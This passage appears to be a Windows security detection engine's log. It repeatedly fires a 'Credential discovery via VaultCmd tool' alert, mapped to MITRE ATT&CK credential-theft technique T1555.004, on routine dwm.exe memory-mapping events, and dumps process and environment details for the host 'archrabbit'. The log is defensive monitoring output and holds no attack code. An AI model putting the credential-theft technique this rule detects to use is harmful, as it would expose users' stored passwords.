USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:14+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4227462 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:37.5683041 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132710000, view_size➜ 4096 + Metadata: subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555, tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/, rule.name: Credential discovery via VaultCmd tool, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:15+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4228289 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 1 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:37.6851593 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24131980000, view_size➜ 4096 + Metadata: subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, subtechnique.name: Windows Credential Manager, rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, tactic.id: TA0006, technique.id: T1555 + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:15+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4228963 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 1 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:37.7684578 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24131980000, view_size➜ 4096 + Metadata: tactic.name: Credential Access, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, tactic.id: TA0006, technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.name: Windows Credential Manager + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:15+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4228963 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 1 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:37.7684578 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24131980000, view_size➜ 4096 + Metadata: rule.name: Credential discovery via VaultCmd tool, tactic.id: TA0006, technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.name: Windows Credential Manager, tactic.name: Credential Access, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004 + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:15+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4228963 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 1 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:37.7684578 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24131980000, view_size➜ 4096 + Metadata: subtechnique.name: Windows Credential Manager, tactic.name: Credential Access, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, tactic.id: TA0006, technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.ref: https://attack.mitre.org/tactics/TA0006/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:15+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4228963 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 1 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:37.7684578 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24131980000, view_size➜ 4096 + Metadata: subtechnique.name: Windows Credential Manager, tactic.name: Credential Access, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, tactic.id: TA0006, technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.ref: https://attack.mitre.org/tactics/TA0006/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:15+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4228963 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 1 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:37.7684578 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24131980000, view_size➜ 4096 + Metadata: tactic.name: Credential Access, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, tactic.id: TA0006, technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.name: Windows Credential Manager + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:15+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4230137 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:38.035391 +0100 CET + Params: file_key➜ ffffa88afe25c110, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24131980000, view_size➜ 4096 + Metadata: technique.ref: https://attack.mitre.org/techniques/T1555/, technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.name: Credentials from Password Stores + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols 